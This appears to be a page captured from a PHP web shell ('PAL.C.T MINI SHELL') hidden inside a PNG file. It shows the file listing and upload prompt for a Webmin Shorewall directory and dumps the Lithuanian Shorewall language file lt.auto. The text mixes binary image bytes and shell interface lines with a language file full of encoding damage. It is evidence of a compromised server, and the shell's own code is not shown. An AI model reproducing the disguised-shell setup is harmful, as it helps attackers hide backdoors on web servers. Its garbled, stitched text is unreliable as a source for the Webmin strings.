‰php  IHDRwQ)Bæa pHYs  šœsRGB®ÎégAMA± üaÔIDATxíÜMk\UÇás&uo,ÖmÄD )XwîŒ+Çe?‰ºtw.“oàWpå§;—³°QHZnw¢`gaiJ’9Þˆ‰ÑÒÌŸç™û¾ýÍaî=·nlŽ[ ʨG܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îú¸·y H†¯@E7j­Í 1j+OF¥–€‹Rg}Ü«‘;@’E™Öa¹±ùáÓ~ ÿj`Ùuû'ož> ÙjÝ-$˜_§q?¾q¸SXzG'åóay

PAL.C.T MINI SHELL
files >> /usr/libexec/webmin/shorewall/lang/
upload
files >> //usr/libexec/webmin/shorewall/lang/lt.auto

index_title=„Shorewall“ užkarda
index_ecmd=Komanda $1 nerasta jūsų sistemoje. Galbūt jis neįdiegtas, arba <a href='$2'>modulio konfigūracija</a> yra neteisinga.
index_edir=Jūsų sistemoje nerastas „Shorewall“ konfigūracijos katalogas $1. Galbūt jis neįdiegtas, arba <a href='$2'>modulio konfigūracija</a> yra neteisinga.
index_version=„Shorewall“ $1 versija
index_return=lentelių sąrašas
index_restart=Taikyti konfigūraciją
index_restartdesc=Spustelėkite šį mygtuką, norėdami suaktyvinti dabartinę „Shorewall“ konfigūraciją, naudodamiesi komanda <tt>„shorewall restart</tt>“.
index_refresh=Atnaujinkite konfigūraciją
index_refreshdesc=Spustelėkite šį mygtuką, kad suaktyvintumėte tik juodojo sąrašo ir eismo formavimo lenteles su komanda <tt>atnaujinti</tt>.
index_start=Paleiskite užkardą
index_startdesc=Spustelėkite šį mygtuką, kad paleistumėte „Shorewall“ su dabartine konfigūracija su komanda <tt>shorewall start</tt>.
index_clear=Išvalyti užkardą
index_cleardesc=Spustelėkite šį mygtuką, norėdami išvalyti „Shorewall“, naudodamiesi komanda <tt>„shorewall clear</tt>“. Tai leis be apribojimų pasiekti visus pagrindinius kompiuterius.
index_stop=Sustabdykite užkardą
index_stopdesc=Spustelėkite šį mygtuką, norėdami išjungti „Shorewall“, naudodamiesi komanda <tt>shorewall stop</tt>. Tai užblokuos visų kompiuterių prieigą, išskyrus pateiktus lentelėje „Kai sustabdyta“.
index_status=Rodyti būseną
index_statusdesc=Spustelėkite šį mygtuką, norėdami patikrinti, ar „Shorewall“ nebuvo paleistas šioje sistemoje, naudodamas komandą <sho>shorewall status</sho>.
index_dump=Rodyti demonÄ…
index_dumpdesc=Spustelėkite šį mygtuką, norėdami pamatyti „Shorewall“ sekimo informaciją iš komandos <tt>shorewall dump</tt>.
index_check=Patikrinkite užkardą
index_checkdesc=Spustelėkite šį mygtuką, kad „Shorewall“ patvirtintų ugniasienės konfigūraciją komanda <tt>shorewall check</tt>.

list_move=JudÄ—k
list_add=Papildyti
list_auto=Automatinis
list_none=NÄ— vienas
list_any=Bet kokia
list_fw=Užkarda
list_other=Kiti ..
list_manual=Rankiniu būdu redaguoti failą
list_manualdesc=SpustelÄ—kite šį mygtukÄ…, norÄ—dami rankiniu bÅ«du redaguoti „Shorewall“ failÄ… $1, kuriame saugomi aukÅ¡Äiau esantys įraÅ¡ai.
list_ecannot=Jums neleidžiama redaguoti šios „Shorewall“ lentelės.
list_delete=Išštrinti pasirinktus

restart_err=Nepavyko pritaikyti konfigūracijos
refresh_err=Nepavyko atnaujinti konfigūracijos
start_err=Nepavyko paleisti ugniasienÄ—s
clear_err=Nepavyko išvalyti užkardos
stop_err=Nepavyko uždaryti ugniasienės
status_title=Užkardos būsena
dump_title=Užkardos išmetimas
check_title=Patikrinkite užkardą
check_ok=.. ugniasienės konfigūracija atrodo gerai.
check_failed=.. ugniasienės konfigūracijoje rasta klaida!
check_cmd=Tikrinama konfigūracija ..

zones_title=Tinklo zonos
zones_desc=Å iame puslapyje iÅ¡vardytos zonos žymi skirtingus tinklus, pasiekiamus iÅ¡ jÅ«sų sistemos. TaÄiau Äia esantys įraÅ¡ai iÅ¡ tikrųjų neturi jokios įtakos ugniasienei - jie tiesiog apibrėžia zonų pavadinimus ir apraÅ¡ymus.
zones_add=PridÄ—kite naujÄ… tinklo zonÄ….
zones_none=Dar nėra apibrėžtos tinklo zonos.
zones_0=Zonos ID
zones_1=Rodomas vardas
zones_2=apibūdinimas
zones_1new=Tėvų zona
zones_2new=Zonos tipas
zones_3new=Zonos parinktys
zones_4new=Gaunamos parinktys
zones_5new=Siuntimo galimybÄ—s
zones_6new=Komentuok
zones_return=zonų sąrašas
zones_edit=Redaguoti tinklo zonÄ…
zones_create=Sukurti tinklo zonÄ…
zones_header=Tinklo zonos informacija
zones_err=Nepavyko išsaugoti tinklo zonos
zones_eid=Trūksta arba neteisingas zonos ID
zones_efwid=Zonos ID $ FW ir fw yra rezervuotos ugniasienei
zones_ename=Trūksta arba netinkamas rodomas vardas
zones_edesc=Trūksta zonos aprašymo
zones_ipv4=IPv4
zones_ipsec=„IPsec“
zones_firewall=Užkardos sistema
zones_eopts=Netinkamos zonos parinktys
zones_eopts_in=Netinkamos zonų gaunamos parinktys
zones_eopts_out=Netinkamos zonos iÅ¡einanÄios parinktys

policy_title=Numatytoji politika
policy_desc=Šis puslapis leidžia konfigūruoti numatytuosius srauto tarp skirtingų ugniasienės zonų veiksmus. Jie gali būti nepaisomi tam tikriems pagrindiniams kompiuteriams ar srauto tipams ugniasienės taisyklių puslapyje.
policy_add=PridÄ—kite naujÄ… numatytÄ…jÄ… politikÄ….
policy_none=Dar nebuvo apibrėžta numatytoji politika.
policy_0=Å altinio zona
policy_1=Paskirties zona
policy_2=Politika
policy_3=„Syslog“ lygis
policy_4=Eismo riba
policy_limit=Ribokite $1, „ $3 “
policy_return=politikų sąrašą
policy_edit=Redaguoti numatytÄ…jÄ… politikÄ…
policy_create=Sukurti numatytÄ…jÄ… politikÄ…
policy_header=Numatytoji informacija apie politikÄ…
policy_err=Nepavyko išsaugoti numatytosios politikos
policy_nolog=Registracija neleidžiama
policy_ulog=Prisijunkite prie ULOG
policy_efw=&lt;Firewall&gt; galima pasirinkti tiek šaltinio, tiek paskirties zonoms
policy_elimit=Trūksta arba netinkamas eismo limito numeris
policy_eburst=Trūksta arba netinkamas eismo srauto numeris

rules_title=Užkardos taisyklės
rules_desc=Šioje lentelėje pateikiamos numatytųjų tam tikrų tipų srauto, šaltinių ar paskirties vietų strategijų išimtys. Pasirinktas veiksmas bus taikomas paketams, atitinkantiems pasirinktus kriterijus, o ne numatytajam.
rules_add=PridÄ—kite naujÄ… ugniasienÄ—s taisyklÄ™.
rules_none=Dar nėra apibrėžtos ugniasienės taisyklės.
rules_0=Veiksmas
rules_1=Å altinis
rules_1z=Å altinio zona
rules_2=KelionÄ—s tikslas
rules_2z=Paskirties zona arba uostas
rules_3=Protokolas
rules_4=Å altinio uostai
rules_5=Paskirties uostai
rules_6=Įkainio riba
rules_7=Vartotojo rinkinys
rules_hosts=Pagrindinis kompiuteris <tt>$2</tt> <tt>$1</tt> zonoje
rules_zone=Zona <tt>$1</tt>
rules_rport=Prievadas <tt>$1</tt>
rules_related=Susijęs
rules_return=ugniasienės taisyklių sąrašas
rules_edit=Redaguoti ugniasienÄ—s taisyklÄ™
rules_create=Sukurti ugniasienÄ—s taisyklÄ™
rules_header=Informacija apie ugniasienÄ—s taisykles
rules_err=Nepavyko išsaugoti ugniasienės taisyklės
rules_log=ir prisijunkite prie „syslog“ lygio
rules_nolog=Negalima prisijungti
rules_addr=Tik zonoje esantys prieglobos adresai
rules_ranges=Uostai ar diapazonai
rules_dnat=Originalus DNAT arba REDIRECT paskirties adresas
rules_dnat_dest=Jei norite naudoti DNAT arba REDIRECT, Äia įveskite naujÄ… paskirties adresÄ… arba uostÄ….
rules_dnat_port=Jei norite naudoti „DNAT“ arba „REDIRECT“, Äia užpildykite originalų paskirties uostÄ….
rules_esother=Trūksta arba netinkama šaltinio zona
rules_edother=Trūksta arba netinkama paskirties zona
rules_esinzone=Šaltiniui neįvestas pagrindinis kompiuterio adresas
rules_edinzone=Nėra įvestas paskirties vietos adresas
rules_esport=Neįvesta jokių Å¡altinio prievadų pavadinimų, skaiÄių ar diapazonų
rules_edport=Neįvestas paskirties uosto pavadinimas, numeris ar diapazonas
rules_ednat=Originalus paskirties adresas turi bÅ«ti vienas IP adresas, du adresai, atskirti ženklu:, arba iÅ¡imÄių sÄ…raÅ¡as, prasidedantis raide!
rules_ednat2=Originalų tikslo adresą galima įvesti tik atliekant veiksmus DNAT ir REDIRECT
rules_rate=Įvertinkite ribinę išraišką
rules_norate=Jokios ribos
rules_set=TaisyklÄ— taikoma vartotojo rinkiniui
rules_noset=Visi vartotojai
rules_eaction=Nepasirinktas joks veiksmas
rules_macro=Makro veiksmo parametras
rules_none2=NÄ— vienas
rules_emacro=Trūksta arba netinkamas makrokomandos parametras

tos_title=Aptarnavimo tipai
tos_desc=Šiame puslapyje apibrėžti tam tikrų tipų srauto IP paslaugų tipai, kurie gali būti naudojami norint padidinti arba sumažinti jų prioritetus.
tos_add=PridÄ—kite naujo tipo paslaugas.
tos_none=Dar nėra apibrėžta paslaugų rūšis.
tos_0=Å altinis
tos_0z=Å altinio zona
tos_1=KelionÄ—s tikslas
tos_1z=Paskirties zona
tos_2=Protokolas
tos_3=Å altinio uostai
tos_4=Paskirties uostai
tos_5=Paslaugos rūšis
tos_6=Testas
tos_return=paslaugų sąrašo tipai
tos_edit=Redaguoti paslaugos tipÄ…
tos_create=Sukurti paslaugos tipÄ…
tos_header=Informacija apie paslaugos tipÄ…
tos_err=Nepavyko išsaugoti paslaugos tipo

interfaces_title=Tinklo sÄ…sajos
interfaces_desc=Šiame tinkle turėtų būti išvardytos visos jūsų sistemos tinklo sąsajos, kurias norite valdyti „Shorewall“, ir susietos su zona, prie kurios jis yra prijungtas. Atgalinės sąsajos <tt>lo</tt> niekada neturėtų būti pateiktos.
interfaces_add=PridÄ—kite naujÄ… tinklo sÄ…sajÄ….
interfaces_none=Dar nėra apibrėžtos tinklo sąsajos.
interfaces_0=SÄ…saja
interfaces_1=Zonos pavadinimas
interfaces_2=Transliacijos adresas
interfaces_3=GalimybÄ—s
interfaces_detect=Automatinis
interfaces_return=sąsajų sąrašas
interfaces_edit=Redaguoti tinklo sÄ…sajÄ…
interfaces_create=Sukurti tinklo sÄ…sajÄ…
interfaces_header=Tinklo sÄ…sajos informacija
interfaces_err=Nepavyko išsaugoti tinklo sąsajos
interfaces_eiface=Trūksta arba netinkamas sąsajos pavadinimas
interfaces_ebroad=Trūksta arba netinkamas transliacijos adresas

masq_title=Maskuojamasis
masq_desc=Šio puslapio įrašai nustato tinklo adreso vertimą srautui, nukreiptam tarp tam tikro tinklo ir tam tikros sąsajos.
masq_add=PridÄ—kite naujÄ… maskavimo taisyklÄ™.
masq_none=Dar nėra apibrėžtos maskavimo taisyklės.
masq_0=SiunÄiama sÄ…saja
masq_1=Tinklas maskuoti
masq_2=SNAT adresas
masq_3=Apriboti protokolu
masq_4=Tik uostuose
masq_5=„IPsec“ parinktys
masq_any=Bet koks protokolas
masq_all=Visi uostai
masq_in=<tt>$2</tt> ant <tt>$1</tt>
masq_ex=Tinklas <tt>$1</tt>, išskyrus <tt>$2</tt>
masq_iface=Tinklas <tt>$1</tt>
masq_return=kaukių sąrašas
masq_edit=Redaguoti maskavimo taisyklÄ™
masq_create=Sukurti maskavimo taisyklÄ™
masq_header=MaskuojanÄios taisyklÄ—s detalÄ—s
masq_err=Nepavyko išsaugoti maskuojamosios taisyklės
masq_net=Tik pagal paskirties vietÄ…
masq_mode0=Potinklio adresas
masq_mode1=Potinklis sÄ…sajoje
masq_except=Išskyrus tinklus
masq_enet=TrÅ«ksta arba netinkama iÅ¡einanÄios sÄ…sajos paskirtis
masq_emnet=Trūksta arba netinkamas maskuojamasis potinklio adresas
masq_emnete=TuÅ¡Äias iÅ¡imÄių tinklų sÄ…raÅ¡as
masq_esnat=Neteisingas SNAT IP adresas
masq_eports=Trūksta arba netinkamas kableliais atskirtų prievadų sąrašas
masq_eipsec=TrÅ«ksta „IPsec“ parinkÄių

nat_title=StatinÄ— NAT
nat_desc=Statiniai tinklo adresų vertimo įraÅ¡ai Å¡ioje lentelÄ—je gali bÅ«ti naudojami 1-1 korespondencijai tarp iÅ¡orinio ugniasienÄ—s adreso ir maÅ¡inos, esanÄios už ugniasienÄ—s, RFC1918 adreso. Statinis NAT dažnai naudojamas norint prisijungti prie vidinio serverio iÅ¡ jÅ«sų tinklo ribų.
nat_add=Pridėkite naują statinį NAT įrašą.
nat_none=Statiniai NAT įrašai dar nebuvo apibrėžti.
nat_0=Išorinis adresas
nat_1=Išorinė sąsaja
nat_2=Vidinis adresas
nat_virt=virtualus
nat_return=statinis NAT sąrašas
nat_edit=Redaguoti statinį NAT
nat_create=Sukurkite statinį NAT
nat_header=Statinė NAT įvesties informacija
nat_err=Nepavyko išsaugoti statinio NAT įrašo
nat_all=Aktyvus visiems šeimininkams?
nat_local=Aktyvus ugniasienÄ—s sistemai?
nat_eext=Neteisingas išorinis IP adresas
nat_eint=Neteisingas vidinis IP adresas
nat_evirt=Neteisingas virtualios sÄ…sajos numeris

proxyarp_title=Proxy ARP
proxyarp_desc=Šis puslapis leidžia jums sukonfigūruoti sistemą taip, kad ji atsakytų į ARP užklausas dėl kitų IP adresų, kad ji galėtų persiųsti paketus tais adresais į savo tikrąsias vietas.
proxyarp_add=PridÄ—kite naujÄ… tarpinio serverio ARP adresÄ….
proxyarp_none=Dar nebuvo apibrėžti tarpinio serverio ARP adresai.
proxyarp_0=Adresas ARP
proxyarp_1=Prijungta prie sÄ…sajos
proxyarp_2=Išorinė sąsaja
proxyarp_3=Atkaklus?
proxyarp_return=tarpinis ARP adresų sąrašas
proxyarp_edit=Redaguoti tarpinio serverio ARP adresÄ…
proxyarp_create=Sukurti tarpinio serverio ARP adresÄ…
proxyarp_header=Tarpinio serverio ARP informacija
proxyarp_err=Nepavyko išsaugoti tarpinio serverio ARP
proxyarp_have=Kelias į prieglobą egzistuoja?
proxyarp_eaddr=Trūksta arba netinkamas adresas ARP
proxyarp_pers=Palikti maršrutą net sustabdžius ugniasienę?

routestopped_title=Sustojus
routestopped_desc=Pagal nutylėjimą, sustabdžius „Shorewall“, jis uždraus prieigą iš visų kompiuterių. Šis puslapis leidžia jums apibrėžti prieglobas ar tinklus, kurie vis tiek bus pasiekiami.
routestopped_add=PridÄ—kite naujÄ… sustabdytÄ… adresÄ….
routestopped_none=Kol kas nebuvo apibrėžta adresų, prie kurių bus galima prisijungti.
routestopped_0=SÄ…saja
routestopped_1=Prieinami adresai
routestopped_2=Maršruto parinktys
routestopped_return=sustabdytas adresų sąrašas
routestopped_edit=Redaguoti sustabdytÄ… adresÄ…
routestopped_create=Sukurti sustabdytÄ… adresÄ…
routestopped_header=Sustabdyto adreso informacija
routestopped_err=Nepavyko išsaugoti sustabdyto adreso
routestopped_eaddr=Neįvestas adresas
routestopped_all=Visi adresai
routestopped_list=Nurodyti adresai ir tinklai ..

tunnels_title=VPN tuneliai
tunnels_desc=Šiame puslapyje pateikiami VPN tuneliai, kertantys jūsų ugniasienę, todėl juos turi leisti „Shorewall“ konfigūracija.
tunnels_add=Pridėkite naują VPN tunelį.
tunnels_none=Dar nebuvo apibrėžti jokie leidžiami VPN tuneliai.
tunnels_0=VPN tipas
tunnels_1=SÄ…sajos zona
tunnels_2=Nuotoliniai vartai
tunnels_3=Vartų zonos
tunnels_gnone=NÄ— vienas
tunnels_return=VPN tunelių sąrašas
tunnels_edit=Redaguoti VPN tunelį
tunnels_create=Sukurkite VPN tunelį
tunnels_header=VPN tunelio detalÄ—s
tunnels_err=Nepavyko išsaugoti VPN tunelio
tunnels_sel=Å liuzo IP
tunnels_ipsec=„IPsec“
tunnels_ipsec:noah=„IPsec“ (nėra AH)
tunnels_ipsecnat=„IPsec“ su NAT
tunnels_ipsecnat:noah=„IPsec“ su NAT (be AH)
tunnels_ip=IP
tunnels_gre=GRE
tunnels_pptpclient=PPTP klientas
tunnels_pptpserver=PPTP serveris
tunnels_openvpn=„OpenVPN“
tunnels_openvpn_l=„OpenVPN“, uoste ..
tunnels_generic=Bendras
tunnels_generic_l=Bendras, skirtas protokolui ..
tunnels_gsel=Išvardytos zonos
tunnels_eopenvpn=Neteisingas „OpenVPN“ tunelio prievado numeris
tunnels_egeneric=Trūksta protokolo ar protokolo: bendrojo tunelio prievadas

hosts_title=Zonos šeimininkai
hosts_desc=Šiame puslapyje pateikiami pagrindiniai kompiuteriai ir tinklai, priklausantys tam tikroms zonoms. Paprastai jums nereikia daryti jokių pakeitimų šiame sąraše.
hosts_add=Pridėkite naują zonos pagrindinį kompiuterį.
hosts_none=Dar nebuvo apibrėžti zonų šeimininkai.
hosts_0=Zona
hosts_1=SÄ…saja
hosts_2=IP adresas arba tinklas
hosts_opts=Pagrindinio kompiuterio parinktys
hosts_return=zonos šeimininkų sąrašas
hosts_edit=Redaguoti zonos pagrindinį kompiuterį
hosts_create=Sukurti „Zone Host“
hosts_err=Nepavyko išsaugoti zonos pagrindinio kompiuterio
hosts_enet=Trūksta arba netinkamas pagrindinio kompiuterio adresas
hosts_header=Informacija apie zonos pagrindinį kompiuterį
hosts_routestopped=Maršrutas net sustabdžius ugniasienę?
hosts_ip=Adresas arba tinklas $1 
hosts_mac=MAC adresas $1 
hosts_ipset=IP nustatytas $1 
hosts_any=Bet kuris šeimininkas

edit_before=Prieš įvažiavimą $1 
edit_after=Po įėjimo $1 

blacklist_title=Juodojo sąrašo šeimininkai
blacklist_desc=Šiame puslapyje pateikiami prieglobos ir paslaugos, kurios bus blokuojamos, jei srautas iš jų pateks į sąsają su nustatytu <b>juodu sąrašu</b>.
blacklist_add=Pridėkite naują juodojo sąrašo pagrindinį kompiuterį.
blacklist_none=Dar nėra apibrėžta jokio juodojo sąrašo prieglobos.
blacklist_0=Pagrindinis arba tinklas
blacklist_1=Protokolas
blacklist_2=Uostai
blacklist_any=Bet kokia
blacklist_header=Juodojo sąrašo pagrindinio kompiuterio informacija
blacklist_host=Pagrindinis arba tinklas
blacklist_proto=Protokolas
blacklist_ports=Uostas arba uostų sąrašas
blacklist_err=Nepavyko išsaugoti juodojo sąrašo pagrindinio kompiuterio
blacklist_ehost=Trūksta arba netinkamas pagrindinio kompiuterio IP adresas arba tinklo adresas
blacklist_emac=Trūksta arba netinkamas MAC adresas
blacklist_eipset=Trūksta IP rinkinio pavadinimo
blacklist_edit=Redaguoti juodojo sąrašo pagrindinį kompiuterį
blacklist_create=Sukurti juodojo sąrašo pagrindinį kompiuterį
blacklist_eproto=Trūksta arba netinkamas protokolas
blacklist_eports=Neteisingas prievado numeris arba kableliais atskirtas prievadų sąrašas
blacklist_eports2=Uostus galima nurodyti tik TCP ir UDP protokolams
blacklist_return=juodojo sąrašo šeimininkai

providers_title=Papildomi maršruto teikėjai
providers_desc=Å iame puslapyje pateikiamos papildomos marÅ¡ruto lentelÄ—s. Tai reikalinga, jei turite ryÅ¡ius su daugiau nei vienu IPT arba keliomis jungtimis su tuo paÄiu IPT arba naudojate „Squid“ kaip skaidrų tarpinį serverį pagrindiniame kompiuteryje, iÅ¡skyrus užkardÄ….
providers_add=Pridėkite naują maršruto teikėją.
providers_none=Dar nėra apibrėžti maršruto teikėjai.
providers_0=vardas
providers_1=SkaiÄius
providers_2=ženklas
providers_3=SÄ…saja
providers_4=Vartai
providers_name=TeikÄ—jo vardas
providers_number=TeikÄ—jo numeris
providers_mark=Pažymėti numerį
providers_dup=Dublikatas teikÄ—jas
providers_main=Pagrindinis stalas
providers_iface=Tinklo sÄ…saja
providers_gateway=Vartų maršrutizatorius
providers_auto=Aptikti automatiškai
providers_opts=Papildomos parinktys
providers_track=Bėgių jungtys
providers_balance=Apkrovos balanso srautas
providers_loose=Leisti srautą iš užkardos
providers_edit=Redaguoti maršruto teikėją
providers_create=Sukurti maršruto teikėją
providers_header=Papildoma maršruto teikėjo informacija
providers_copy=Kopijuoti maršrutus per sąsajas
providers_err=Nepavyko išsaugoti maršruto teikėjo
providers_ename=Trūksta arba netinkamas teikėjo vardas
providers_enumber=Trūksta arba netinkamas teikėjo numeris
providers_emark=Trūksta arba netinkamas teikėjo ženklo numeris
providers_edup=Trūksta teikėjo kopijavimo
providers_egateway=Trūksta arba netinkami šliuzai
providers_return=maršruto teikėjų sąrašas

route_rules_title=Maršruto sudarymo taisyklės
route_rules_desc=Puslapis kontroliuoja, kuris srautas nukreipiamas į teikėjus, nurodytus puslapyje Papildomi maršruto teikėjai.
route_rules_ip=IP adresas, tinklas ar sÄ…saja
route_rules_add=Pridėkite naują maršruto taisyklę.
route_rules_none=Maršruto taisyklės dar nėra apibrėžtos.
route_rules_0=Eismo šaltinis
route_rules_1=Eismo vieta
route_rules_2=TeikÄ—jas
route_rules_3=Prioritetas
route_rules_4=ženklas
route_rules_header=Maršruto taisyklės parinktys
route_rules_src=Eismo šaltinis
route_rules_dst=Eismo vieta
route_rules_prov=Maršrutas per teikėją
route_rules_main=Numatytoji maršruto lentelė
route_rules_pri=TaisyklÄ—s prioritetas
route_rules_mark=Pažymėkite paketą su
route_rules_nomark=Nieko
route_rules_esrc=Trūksta srauto šaltinio
route_rules_edst=Trūksta eismo tikslo
route_rules_epri=TaisyklÄ—s prioritetas turi bÅ«ti skaiÄius
route_rules_emark=Paketų ženklas turi bÅ«ti skaiÄiaus arba numerio/kaukÄ—s formato
route_rules_return=maršruto sudarymo taisyklių sąrašas
route_rules_edit=Redaguoti maršruto sudarymo taisyklę
route_rules_create=Sukurti maršruto taisyklę

manual_desc=Ši forma gali būti naudojama rankiniu būdu taisant „Shorewall“ failą $1. Būkite atsargūs, nes pakeitimai nebus tikrinami.
manual_reset=Anuliuoti
manual_err=Nepavyko išsaugoti lentelės failo
manual_efile=Netinkamas lentelÄ—s pavadinimas!
manual_edata=Neįvestas lentelės failo turinys.

acl_nochange=Ar galite pritaikyti, sustabdyti ir paleisti „Shorewall“ konfigūraciją?
acl_files=Galimi „Shorewall“ stalai
acl_all=Visi
acl_sel=Pasirinkta žemiau ..

delete_err=Nepavyko iÅ¡trinti eiluÄių
delete_enone=Nepasirinkta nÄ— viena eilutÄ—

opts_routeback=Priimti srautą atgal į pagrindinį kompiuterį
opts_source=Leisti iš pagrindinio kompiuterio į bet kurią paskirties vietą
opts_dest=Leisti priglobti iš bet kurio šaltinio
opts_critical=Visada leisti srautÄ… tarp ugniasienÄ—s
opts_maclist=Palyginti su MAC sąrašu?
opts_norfc1918=Atmeskite privaÄius IP paketus
opts_blacklist=Atmeskite paketus į juodąjį sąrašą
opts_tcpflags=Patikrinkite, ar nėra nelegalių TCP vėliavų
opts_nosmurfs=Patikrinkite, ar nėra transliavimo šaltinio paketų
opts_ipsec=„IPsec“ zona
opts_dhcp=SÄ…saja naudoja DHCP
opts_routefilter=Įgalinti maršruto filtravimą be apgaulės
opts_logmartians=Užregistruokite paketus su neįmanomais šaltiniais
opts_proxyarp=Įgalinti tarpinį ARP
opts_arp_filter=Atsakykite tik į ARP užklausas dėl sąsajos IP
opts_detectnets=Taylor zona apima tik nukreiptus šeimininkus
opts_upnp=Pakeiskite paketus per UPNP

comment_add=PridÄ—ti naujÄ… komentarÄ….
comment_edit=Redaguoti komentarÄ…
comment_create=Sukurti komentarÄ…
comment_header=Informacija apie lentelÄ—s komentarus
comment_msg=Žinutė
comment_err=Nepavyko išsaugoti komentaro
comment_enone=Neįvestas pranešimas

log_create_table=Pridėtas įrašas prie $1 lentelės
log_modify_table=Modifikuotas įrašas $1 lentelėje
log_delete_table=Ištrintas įrašas iš $1 lentelės
log_deletes_table=Ištrinti įrašai iš $1 lentelės
log_up_table=$1 lentelės įrašas perkeltas aukštyn
log_down_table=Įrašas perkeltas žemyn į $1 lentelę
log_manual_table=Rankiniu būdu redagavo $1 lentelės failą
log_create_comment=PridÄ—tas komentaras prie $1 lentelÄ—s
log_modify_comment=Pakeistas komentaras $1 lentelÄ—je
log_delete_comment=Ištrynė komentarą iš $1 lentelės
log_stop=Sustabdyta ugniasienÄ—
log_start=Paleista užkarda
log_refresh=Atnaujinta užkarda
log_restart=IÅ¡ naujo paleista ugniasienÄ—
log_clear=Išvalyta užkarda

shorewall_conf_title=Pagrindinis konfigūracijos failas
shorewall_conf_desc=Å is puslapis leidžia konfigÅ«ruoti globalius konfigÅ«racijos kintamuosius. PASTABA: Äia nerekomenduojama keisti kintamųjų tvarkos, jei norite iÅ¡saugoti santykinÄ™ komentarų vietÄ… konfigÅ«racijos faile.
shorewall_conf_add=Pridėkite naują konfigūracijos kintamąjį.
shorewall_conf_none=Nerasta „shorewall“ konfigūracijos.
shorewall_conf_0=Kintamas
shorewall_conf_1=VertÄ—
shorewall_conf_2=Komentuok
shorewall_conf_return=konfigūracijos kintamųjų sąrašas
shorewall_conf_edit=Redaguoti konfigūracijos kintamąjį
shorewall_conf_create=Sukurti konfigūracijos kintamąjį
shorewall_conf_header=Informacija apie konfigūracijos kintamąjį
shorewall_conf_err=Nepavyko išsaugoti konfigūracijos kintamojo
shorewall_conf_varname=Netinkamas kintamojo vardas (turi būti teisingas apvalkalo kintamojo vardas)

params_title=Individualūs parametrai
params_desc=Å is puslapis leidžia konfigÅ«ruoti pasirinktinius „Shorewall“ parametrus. PASTABA: Äia nerekomenduojama pakeisti parametrų tvarkos, jei norite iÅ¡saugoti santykinÄ™ komentarų vietÄ… konfigÅ«racijos faile.
params_add=Pridėkite naują pasirinktinį parametrą.
params_none=Nerasta tinkintų parametrų.
params_0=Parametras
params_1=VertÄ—
params_2=Komentuok
params_return=pasirinktinių parametrų sąrašas
params_edit=Redaguoti pasirinktinį parametrą
params_create=Sukurkite pasirinktinį parametrą
params_header=Informacija apie pasirinktinius parametrus
params_err=Nepavyko išsaugoti tinkinto parametro
params_varname=Netinkamas parametro pavadinimas (turi būti teisingas apvalkalo kintamojo vardas)
ß yôÊá½~ŒorÀ5ÖJ™={þÁEÇêe¾uç£Qk®•ᯘG{÷?ù»ã+—]üôçƒÉÍ×ןô?wûM3X^¶Úæ­Œ>{´7Ù¾ì´Kã>èo²ÎnÝ\ÿªÊj¿y·ðR £õãg/î=ÞÿfúOçÖr·o×NVÊv¿ú~ÿY+ü¿NGêu÷ø·Ã®›þë¹HWŠûyëwÆ[eQ¶Ê¨¾SÚb­Ö>öÍËÇþ³>ä}Gçmx[o[<ÞÚ{ðýŸÏ®_ÅïqF– ÚÛvMIEND®B`‚